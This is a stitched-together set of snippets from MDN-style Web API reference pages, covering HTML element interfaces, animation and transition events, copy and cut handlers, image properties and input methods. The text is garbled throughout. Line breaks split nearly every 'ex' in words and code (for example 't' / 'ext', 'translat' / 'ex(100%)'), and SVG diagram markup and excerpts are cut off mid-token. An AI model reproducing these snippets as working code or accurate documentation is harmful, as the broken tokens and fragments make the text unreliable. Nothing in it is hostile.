ext></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmldataelement" target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="416" y="94" font-size="12px" font-f...
...amily="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmldataelement</t
ext></a></svg></div> a:hover t
ext { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLDataListElement - Web APIs
play: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlelement</t
ext></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmldatalistelement" target="_top"><rect x="301" y="65" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="396" y="94" font-size="12px" fo...
...nt-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmldatalistelement</t
ext></a></svg></div> a:hover t
ext { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement htmldatalistelement.options read only is a htmlcollection representing a collection of the contained option elements.
HTMLElement: animationend event - Web APIs
bubbles yes cancelable no interface animationevent event handler property onanimationend
examples this
example gets an element that's being animated and listens for the animationend event: const animated = document.queryselector('.animated'); animated.addeventlistener('animationend', () => { console.log('animation ended'); }); the same, but using the onanimationend event handler property: const animated = document.queryselector('.animated'); animated.onanimationend = () => { conso...
...le.log('animation ended'); }; live
example html <div class="animation-
example"> <div class="container"> <p class="animation">you chose a cold night to visit our planet.</p> </div> <button class="activate" type="button">activate animation</button> <div class="event-log"></div> </div> css .container { height: 3rem; } .event-log { width: 25rem; height: 2rem; border: 1px solid black; margin: .2rem; padding: .2rem; } .animation.active { animation-duration: 2s; animation-name: slidein; animation-iteration-count: 2; } @keyframes slidein { from { margin-left: 100%; width: 300%; } to { margin-left: 0%; width: 100%; } } js const animation = document.queryselector('p.animation'); const animationeventlog = document.queryselec...
...tor('.animation-
example>.event-log'); const applyanimation = document.queryselector('.animation-
example>button.activate'); let iterationcount = 0; animation.addeventlistener('animationstart', () => { animationeventlog.t
extcontent = `${animationeventlog.t
extcontent}'animation started' `; }); animation.addeventlistener('animationiteration', () => { iterationcount++; animationeventlog.t
extcontent = `${animationeventlog.t
extcontent}'animation iterations: ${iterationcount}' `; }); animation.addeventlistener('animationend', () => { animationeventlog.t
extcontent = `${animationeventlog.t
extcontent}'animation ended'`; animation.classlist.remove('active'); applyanimation.t
extcontent = "activate animation"; }); animation.addeventlistener('animationcancel', () => { animationeventlog.te...
...xtcontent = `${animationeventlog.t
extcontent}'animation canceled'`; }); applyanimation.addeventlistener('click', () => { animation.classlist.toggle('active'); animationeventlog.t
extcontent = ''; iterationcount = 0; let active = animation.classlist.contains('active'); if (active) { applyanimation.t
extcontent = "cancel animation"; } else { applyanimation.t
extcontent = "activate animation"; } }); result specifications specification status comment css animations working draft initial definition ...
HTMLElement: animationiteration event - Web APIs
bubbles yes cancelable no interface animationevent event handler property onanimationiteration
examples this code uses animationiteration to keep track of the number of iterations an animation has completed: const animated = document.queryselector('.animated'); let iterationcount = 0; animated.addeventlistener('animationiteration', () => { iterationcount++; console.log(`animation iteration count: ${iterationcount}`); }); the same, but using the onanimationiteration event handler prop...
...erty: const animated = document.queryselector('.animated'); let iterationcount = 0; animated.onanimationiteration = () => { iterationcount++; console.log(`animation iteration count: ${iterationcount}`); }; live
example html <div class="animation-
example"> <div class="container"> <p class="animation">you chose a cold night to visit our planet.</p> </div> <button class="activate" type="button">activate animation</button> <div class="event-log"></div> </div> css .container { height: 3rem; } .event-log { width: 25rem; height: 2rem; border: 1px solid black; margin: 0.2rem; padding: 0.2rem; } .animation.active { animation-duration: 2s; animation-name: slidein; animation-iteration-count: 2; } @keyframes slidein { from { transform: tran...
...slat
ex(100%) scal
ex(3); } to { transform: translat
ex(0) scal
ex(1); } } js const animation = document.queryselector('p.animation'); const animationeventlog = document.queryselector('.animation-
example>.event-log'); const applyanimation = document.queryselector('.animation-
example>button.activate'); let iterationcount = 0; animation.addeventlistener('animationstart', () => { animationeventlog.t
extcontent = `${animationeventlog.t
extcontent}'animation started' `; }); animation.addeventlistener('animationiteration', () => { iterationcount++; animationeventlog.t
extcontent = `${animationeventlog.t
extcontent}'animation iterations: ${iterationcount}' `; }); animation.addeventlistener('animationend', () => { animationeventlog.t
extcontent = `${animationeventlog.t
extcontent}'anim...
...ation ended'`; animation.classlist.remove('active'); applyanimation.t
extcontent = "activate animation"; }); animation.addeventlistener('animationcancel', () => { animationeventlog.t
extcontent = `${animationeventlog.t
extcontent}'animation canceled'`; }); applyanimation.addeventlistener('click', () => { animation.classlist.toggle('active'); animationeventlog.t
extcontent = ''; iterationcount = 0; let active = animation.classlist.contains('active'); if (active) { applyanimation.t
extcontent = "cancel animation"; } else { applyanimation.t
extcontent = "activate animation"; } }); result specifications specification status comment css animations working draft initial definition ...
HTMLElement.offsetLeft - Web APIs
however, for inline-level elements (such as span) that can wrap from one line to the n
ext, offsettop and offsetleft describe the positions of the first border box (use element.getclientrects() to get its width and height), while offsetwidth and offsetheight describe the dimensions of the bounding border box (use element.getboundingclientrect() to get its position).
... therefore, a box with the left, top, width and height of offsetleft, offsettop, offsetwidth and offsetheight will not be a bounding box for a span with wrapped t
ext.
...
example var colortable = document.getelementbyid("t1"); var toleft = colortable.offsetleft; if (toleft > 5) { // large left offset: do something here } this
example shows a 'long' sentence that wraps within a div with a blue border, and a red box that one might think should describe the boundaries of the span.
...</span> <span id="longspan">long span that wraps within this div.</span> </div> <div id="box" style="position: absolute; border-color: red; border-width: 1; border-style: solid; z-ind
ex: 10"> </div> <script type="t
ext/javascript"> var box = document.getelementbyid("box"); var longspan = document.getelementbyid("longspan"); box.style.left = longspan.offsetleft + document.body.scrollleft + "px"; box.style.top = longspan.offsettop + document.body.scrolltop + "px"; box.style.width = longspan.offsetwidth + "px"; box.style.height = longspan.offsetheight + "px"; </script> specification specification status comment css object model (cssom) view mod...
HTMLElement.oncopy - Web APIs
the copy event fires when the user attempts to copy t
ext.
... syntax target.oncopy = functionref; value functionref is a function name or a function
expression.
...
example this
example blocks every copy and paste attempt from the <t
extarea>.
... html <h3>play with this t
ext area:</h3> <t
extarea id="editor" rows="3">try copying and pasting t
ext into this field!</t
extarea> <h3>log:</h3> <p id="log"></p> javascript const log = document.getelementbyid('log'); function logcopy(event) { log.innert
ext = 'copy blocked!\n' + log.innert
ext; event.preventdefault(); } function logpaste(event) { log.innert
ext = 'paste blocked!\n' + log.innert
ext; event.preventdefault(); } const editor = document.getelementbyid('editor'); editor.oncopy = logcopy; editor.onpaste = logpaste; result specification whatwg standard ...
HTMLElement.oncut - Web APIs
the cut event fires when the user attempts to cut t
ext.
... syntax target.oncut = functionref; value functionref is a function name or a function
expression.
...
example this
example allows t
ext to be copied from the <t
extarea>, but doesn't allow t
ext to be cut.
... html <h3>play with this t
ext area:</h3> <t
extarea id="editor" rows="3">try copying and cutting the t
ext in this field!</t
extarea> <h3>log:</h3> <p id="log"></p> javascript function logcopy(event) { log.innert
ext = 'copied!\n' + log.innert
ext; } function preventcut(event) { event.preventdefault(); log.innert
ext = 'cut blocked!\n' + log.innert
ext; } const editor = document.getelementbyid('editor'); const log = document.getelementbyid('log'); editor.oncopy = logcopy; editor.oncut = preventcut; result specification whatwg standard ...
HTMLElement: pointercancel event - Web APIs
bubbles yes cancelable no interface pointerevent event handler property onpointercancel some
examples of situations that will trigger a pointercancel event: a hardware event occurs that cancels the pointer activities.
... this may include, for
example, the user switching applications using an application switcher interface or the "home" button on a mobile device.
...this can happen if, for
example, the hardware supports palm rejection to prevent a hand resting on the display while using a stylus from accidentally triggering events.
...
examples using addeventlistener(): const para = document.queryselector('p'); para.addeventlistener('pointercancel', (event) => { console.log('pointer event cancelled'); }); using the onpointercancel event handler property: const para = document.queryselector('p'); para.onpointercancel = (event) => { console.log('pointer event cancelled'); }; specifications specification status pointer events obsolete ...
HTMLElement: transitioncancel event - Web APIs
bubbles yes cancelable no interface transitionevent event handler property globaleventhandlers.ontransitioncancel
examples this code gets an element that has a transition defined and adds a listener to the transitioncancel event: const transition = document.queryselector('.transition'); transition.addeventlistener('transitioncancel', () => { console.log('transition canceled'); }); the same, but using the ontransitioncancel property instead of addeventlistener(): const transition = document.queryselector('.transition'); transition.ontransitioncancel = () => { console.log('transition...
... canceled'); }; live
example in the following
example, we have a simple <div> element, styled with a transition that includes a delay: <div class="transition"></div> <div class="message"></div> .transition { width: 100px; height: 100px; background: rgba(255,0,0,1); transition-property: transform background; transition-duration: 2s; transition-delay: 2s; } .transition:hover { transform: rotate(90deg); background: rgba(255,0,0,0); } to this, we'll add some javascript to indicate that the transitionstart, transitionrun, transitioncancel and transitionend events fire.
... in this
example, to cancel the transition, stop hovering over the transitioning box before the transition ends.
... const message = document.queryselector('.message'); const el = document.queryselector('.transition'); el.addeventlistener('transitionrun', function() { message.t
extcontent = 'transitionrun fired'; }); el.addeventlistener('transitionstart', function() { message.t
extcontent = 'transitionstart fired'; }); el.addeventlistener('transitioncancel', function() { message.t
extcontent = 'transitioncancel fired'; }); el.addeventlistener('transitionend', function() { message.t
extcontent = 'transitionend fired'; }); the transitioncancel event is fired if the transition is cancelled in either direction after the transitionrun event occurs and before the transitionend is fired.
HTMLElement: transitionend event - Web APIs
examples this code gets an element that has a transition defined and adds a listener to the transitionend event: const transition = document.queryselector('.transition'); transition.addeventlistener('transitionend', () => { console.log('transition ended'); }); the same, but using the ontransitionend: const transition = document.queryselector('.transition'); transition.ontransitionend = () =>...
... { console.log('transition ended'); }; live
example in the following
example, we have a simple <div> element, styled with a transition that includes a delay: <div class="transition">hover over me</div> <div class="message"></div> .transition { width: 100px; height: 100px; background: rgba(255,0,0,1); transition-property: transform background; transition-duration: 2s; transition-delay: 1s; } .transition:hover { transform: rotate(90deg); background: rgba(255,0,0,0); } to this, we'll add some javascript to indicate that the transitionstart, transitionrun, transitioncancel and transitionend events fire.
... in this
example, to cancel the transition, stop hovering over the transitioning box before the transition ends.
... const message = document.queryselector('.message'); const el = document.queryselector('.transition'); el.addeventlistener('transitionrun', function() { message.t
extcontent = 'transitionrun fired'; }); el.addeventlistener('transitionstart', function() { message.t
extcontent = 'transitionstart fired'; }); el.addeventlistener('transitioncancel', function() { message.t
extcontent = 'transitioncancel fired'; }); el.addeventlistener('transitionend', function() { message.t
extcontent = 'transitionend fired'; }); the transitionend event is fired in both directions: when the box finishes turning and the opacity hits 0 or 1, depending on the direction.
HTMLFieldSetElement - Web APIs
play: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlelement</t
ext></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlfieldsetelement" target="_top"><rect x="301" y="65" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="396" y="94" font-size="12px" fo...
...nt-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlfieldsetelement</t
ext></a></svg></div> a:hover t
ext { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLHeadElement - Web APIs
play: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlelement</t
ext></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlheadelement" target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="416" y="94" font-size="12px" font-f...
...amily="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlheadelement</t
ext></a></svg></div> a:hover t
ext { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLHtmlElement - Web APIs
play: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlelement</t
ext></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlhtmlelement" target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="416" y="94" font-size="12px" font-f...
...amily="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlhtmlelement</t
ext></a></svg></div> a:hover t
ext { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLIFrameElement.allowPaymentRequest - Web APIs
desktopmobilechromeedgefirefoxinternet
exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetallowpaymentrequest
experimentalchrome full support 60disabled full support 60disabled disabled from version 60: this feature is behind the #web-payments preference (needs to be set to enabled).
... samsung internet android no support nolegend full support full support no support no support compatibility unknown compatibility unknown
experimental.
...
expect behavior to change in the future.
experimental.
...
expect behavior to change in the future.user must
explicitly enable this feature.user must
explicitly enable this feature.
HTMLIFrameElement.csp - Web APIs
desktopmobilechromeedgefirefoxinternet
exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcsp
experimentalchrome full support 61edge full support ≤79firefox ?
... samsung internet android full support 8.0legend full support full support compatibility unknown compatibility unknown
experimental.
...
expect behavior to change in the future.
experimental.
...
expect behavior to change in the future.
HTMLImageElement.decode() - Web APIs
this, in turn, prevents the rendering of the n
ext frame after adding the image to the dom from causing a delay while the image loads.
...
exceptions encodingerror a dom
exception indicating that an error occurred while decoding the image.
... usage notes one potential use case for decode(): when loading very large images (for
example, in an online photo album), you can present a low resolution thumbnail image initially and then replace that image with the full-resolution image by instantiating a new htmlimageelement, setting its source to the full-resolution image's url, then using decode() to get a promise which is resolved once the full-resolution image is ready for use.
...
examples the following
example shows how to use the decode() method to control when an image is appended to the dom.
HTMLImageElement.height - Web APIs
if the image is being rendered to a visual medium such as a screen or printer, the height is
expressed in css pixels.
...
example in this
example, two different sizes are provided for an image of a clock using the srcset attribute.
... var clockimage = document.queryselector("img"); let output = document.queryselector(".size"); const updateheight = event => { output.innert
ext = clockimage.height; }; window.addeventlistener("load", updateheight); window.addeventlistener("resize", updateheight); result this
example may be easier to try out in its own window.
... desktopmobilechromeedgefirefoxinternet
exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetheightchrome full support 1edge full support 12firefox full support yesie .html?
HTMLImageElement.loading - Web APIs
this helps to optimize the loading of the document's contents by postponing loading the image until it's
expected to be needed, rather than immediately during the initial page load.
... to prevent this reflow from occurring, you should
explicitly specify the size of the image's presentation using the image element's width and height attributes.
... by establishing the intrinsic aspect ratio in this manner, you prevent elements from shifting around while the document loads, which can be disconcerting or offputting at best and can cause users to click the wrong thing at worst, depending on the
exact timing of the deferred loads and reflows.
...
example the addimagetolist() function shown below adds a photo thumbnail to a list of items, using lazy-loading to avoid loading the image from the network until it's actually needed.
HTMLImageElement.naturalHeight - Web APIs
this is the height the image is if drawn with nothing constraining its height; if you don't specify a height for the image, or place the image inside a container that either limits or
expressly specifies the image height, it will be rendered this tall.
...
example this
example simply displays both the natural, density-adjusted size of an image as well as its rendered size as altered by the page's css and other factors.
...this is done in response to the window's load event handler, in order to ensure that the image is available before attempting to
examine its width and height.
... desktopmobilechromeedgefirefoxinternet
exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnaturalheightchrome full support 1edge full support 12firefox full support yesie full support 9opera ...
HTMLImageElement.naturalWidth - Web APIs
this is the width the image is if drawn with nothing constraining its width; if you neither specify a width for the image nor place the image inside a container that limits or
expressly specifies the image width, this is the number of css pixels wide the image will be.
...
example this
example simply displays both the natural, density-adjusted size of an image as well as its rendered size as altered by the page's css and other factors.
...this is done in response to the window's load event handler, in order to ensure that the image is available before attempting to
examine its width and height.
... desktopmobilechromeedgefirefoxinternet
exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnaturalwidthchrome full support 1edge full support 12firefox full support yesie full support 9opera ...
HTMLImageElement.useMap - Web APIs
consider a <map> that looks like this: <map name="mainmenu-map"> <area shape="circle" coords="25, 25, 75, 75" href="/ind
ex.html" alt="return to home page"> <area shape="rect" coords="25, 25, 100, 150" href="/ind
ex.html" alt="shop"> </map> given the image map named mainmenu-map, the image which uses it should look something like the following: <img src="menubox.png" usemap="#mainmenu-map"> for additional
examples (including interactive ones), see the articles about the <map> and <area> elements, as well as the g...
...
example the source for this interactive
example is stored in a github repository.
... if you'd like to contribute to the interactive
examples project, please clone https://github.com/mdn/interactive-
examples and send us a pull request.
... desktopmobilechromeedgefirefoxinternet
exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetusemapchrome full support 1edge full support 12firefox full support yesie ?
HTMLImageElement.width - Web APIs
if the image is being rendered to a visual medium such as a screen or printer, the width is
expressed in css pixels.
...
example in this
example, two different sizes are provided for an image of a clock using the srcset attribute.
... var clockimage = document.queryselector("img"); let output = document.queryselector(".size"); const updatewidth = event => { output.innert
ext = clockimage.width; }; window.addeventlistener("load", updatewidth); window.addeventlistener("resize", updatewidth); result this
example may be easier to try out in its own window.
... desktopmobilechromeedgefirefoxinternet
exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetwidthchrome full support 1edge full support 12firefox full support yesie .html?
HTMLInputElement.select() - Web APIs
the htmlinputelement.select() method selects all the t
ext in a <t
extarea> element or in an <input> element that includes a t
ext field.
... syntax element.select();
example click the button in this
example to select all the t
ext in the <input> element.
... html <input type="t
ext" id="t
ext-box" size="20" value="hello world!"> <button onclick="selectt
ext()">select t
ext</button> javascript function selectt
ext() { const input = document.getelementbyid('t
ext-box'); input.focus(); input.select(); } result notes calling element.select() will not necessarily focus the input, so it is often used with htmlelement.focus().
... in browsers where it is not supported, it is possible to replace it with a call to htmlinputelement.setselectionrange() with parameters 0 and the input's value length: <input onclick="this.select();" value="sample t
ext" /> <!-- equivalent to --> <input onclick="this.setselectionrange(0, this.value.length);" value="sample t
ext" /> specifications specification status comment html living standardthe definition of 'select' in that specification.
HTMLInputElement.stepDown() - Web APIs
if the value before invoking the stepdown() method is invalid, for
example, if it doesn't match the constraints set by the step attribute, invoking the stepdown() method will return a value that does match the form controls constraints.
... if the form control is non time, date, or numeric in nature, and therefore does not support the step attribute (see the list of supported input types in the the table above), or if the step value is set to any, an invalidstateerror
exception is thrown.
...throws an invalid_state_err
exception: if the method is not applicable to for the current type value, if the element has no step value, if the value cannot be converted to a number, if the resulting value is above the max or below the min.
...
example click the button in this
example to increment the number input type: html <p> <label>enter a number between 0 and 400 that is divisible by 5: <input type="number" step="5" id="thenumber" min="0" max="400"> </label> </p> <p> <label>enter how many values of step you would like to increment by or leave it blank: <input type="number" step="1" id="decrementer" min="-2" max="15"> </label> </p...
HTMLInputElement.webkitEntries - Web APIs
example this
example shows how to create a file selection <input> element and process the selected files.
... desktopmobilechromeedgefirefoxinternet
exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetwebkitentries non-standardchrome full support 13edge full support ≤18firefox full support 50ie no support ...
...
expect poor cross-browser support.non-standard.
...
expect poor cross-browser support.
HTMLLabelElement - Web APIs
play: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlelement</t
